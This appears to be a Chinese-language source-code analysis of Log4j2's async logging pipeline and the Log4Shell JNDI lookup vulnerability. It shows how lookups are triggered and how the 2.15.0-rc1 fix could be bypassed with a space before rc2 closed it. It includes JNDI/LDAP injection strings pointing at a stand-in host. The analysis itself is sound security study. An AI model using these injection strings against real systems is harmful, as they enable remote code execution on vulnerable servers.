Log4j2异步日志核心流程和涉及的组件
[基于log4j 2.x版本]
两个主要组件Logger、Appender,分别对应配置文件中的两个配置项
<Appenders></Appenders>
<Loggers></Loggers>
开启全局异步,log4j2.component.properties文件中添加属性.
Log4jContextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector
开启异步后Logger会使用异步日志,即图中AsyncLoggerDisruptor(依赖lmax.Disruptor的无锁设计实现高性能)实现异步Logger.
Appender组件默认均为异步,即图中AsyncAppender(初始化长度默认为1024的BlockingQueue),AsyncThread是真正消费日志事件写入文件或者其他Appender的处理线程.
[如下源码分析中增加注释]
lookups漏洞
log.info("${jndi:ldap://somehost/resource}");
日志中包含此种格式信息可触发此漏洞,结合JDNI注入,攻击者可执行任意代码
org.apache.logging.log4j.core.appender.AsyncAppender.AsyncThread
/**
* 调用Appender
* Calls {@link AppenderControl#callAppender(LogEvent) callAppender} on all registered
*/
boolean callAppenders(final LogEvent event) {
boolean success = false;
//循环调用配置的多个Appender
for (final AppenderControl control : appenders) {
try {
control.callAppender(event);
success = true;
} catch (final Exception ex) {
// If no appender is successful the error appender will get it.
}
}
return success;
}
org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#directEncodeEvent
protected void directEncodeEvent(final LogEvent event) {
//根据配置格式输出进行编码,并根据配置执行lookup流程
getLayout().encode(event, manager);
if (this.immediateFlush || event.isEndOfBatch()) {
manager.flush();
}
}
转换为文本org.apache.logging.log4j.core.layout.PatternLayout#toText
/**
* 转换LogEvent为String
*/
private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
final StringBuilder destination) {
return serializer.toSerializable(event, destination);
}
private static class PatternSerializer implements Serializer, Serializer2 {
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
//格式化参数,log4j <= 2.14.0版本默认转换器为MessagePatternConverter
//log4j2 2.15.0版本为SimpleMessagePatternConverter
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) { // creates temporary objects
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}
}
先看log4j < 2.15.0版本,
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
/**
* 属性取值为系统变量log4j2.formatMsgNoLookups
*/
private final boolean noLookups;
/**
* {@inheritDoc}
*/
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
final Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
final boolean doRender = textRenderer != null;
final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
final int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
} else {
((StringBuilderFormattable) msg).formatTo(workingBuilder);
}
//是否执行lookup,noLookups属性默认值为系统变量log4j2.formatMsgNoLookups
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
if (doRender) {
textRenderer.render(workingBuilder, toAppendTo);
}
return;
}
if (msg != null) {
String result;
if (msg instanceof MultiformatMessage) {
result = ((MultiformatMessage) msg).getFormattedMessage(formats);
} else {
result = msg.getFormattedMessage();
}
if (result != null) {
toAppendTo.append(config != null && result.contains("${")
? config.getStrSubstitutor().replace(event, result) : result);
} else {
toAppendTo.append("null");
}
}
}
/**
* 解析替换变量
*/
protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
return substitute(event, buf, offset, length, null) > 0;
}
/**
* 解析${}变量
*/
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
final int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
/**
* Looks up a named object through this JNDI context.
*
*/
public <T> T lookup(final String name) throws NamingException {
//执行JNDI
return (T) this.context.lookup(name);
}
log4j2 2.15.0-rc1版本的修复
org.apache.logging.log4j.core.layout.PatternLayout.SerializerBuilder#build
创建MessagePatternConverter的代码:
public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
boolean lookups = loadLookups(options);
String[] formats = withoutLookupOptions(options);
TextRenderer textRenderer = loadMessageRenderer(formats);
MessagePatternConverter result = formats == null || formats.length == 0
? SimpleMessagePatternConverter.INSTANCE
: new FormattedMessagePatternConverter(formats);
if (lookups && config != null) {
result = new LookupMessagePatternConverter(result, config);
}
if (textRenderer != null) {
result = new RenderingPatternConverter(result, textRenderer);
}
return result;
}
默认创建SimpleMessagePatternConverter,此转换器默认不会执行lookup
如果需要开启lookup,需要patternLayout属性值{lookups}
<property name="patternLayout">%m{lookups}%n</property>
2.15.0-rc1版本开启lookups后,则会创建LookupMessagePatternConverter,
private static final class LookupMessagePatternConverter extends MessagePatternConverter {
@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
int start = toAppendTo.length();
delegate.format(event, toAppendTo);
int indexOfSubstitution = toAppendTo.indexOf("${", start);
if (indexOfSubstitution >= 0) {
//执行lookup,与之前版本一致
config.getStrSubstitutor()
.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
}
}
}
JNDI默认协议只支持:java, ldap, ldaps 三种, 且只允许本地Hosts
rc1版本的修复存在的问题,是如果格式化参数存在空格,lookup仍然会被触发,如下
log.info("jndi:ldap://somehost/空格resource")
org.apache.logging.log4j.core.net.JndiManager#lookup
public synchronized <T> T lookup(final String name) throws NamingException {
try {
//如果uri中包含空格,new URI会抛格式异常,继续执行lookup
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
//省略其他代码
......
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
2.15.0-rc2的修复版本的一处改动,URI格式错误后直接返回空,如下:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
//如果uri中包含空格,new URI会抛格式异常,继续执行lookup
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
//省略其他代码
......
}
} catch (URISyntaxException ex) {
LOGGER.warn("Invalid JNDI URI - {}", name);
return null;
}
return (T) this.context.lookup(name);
}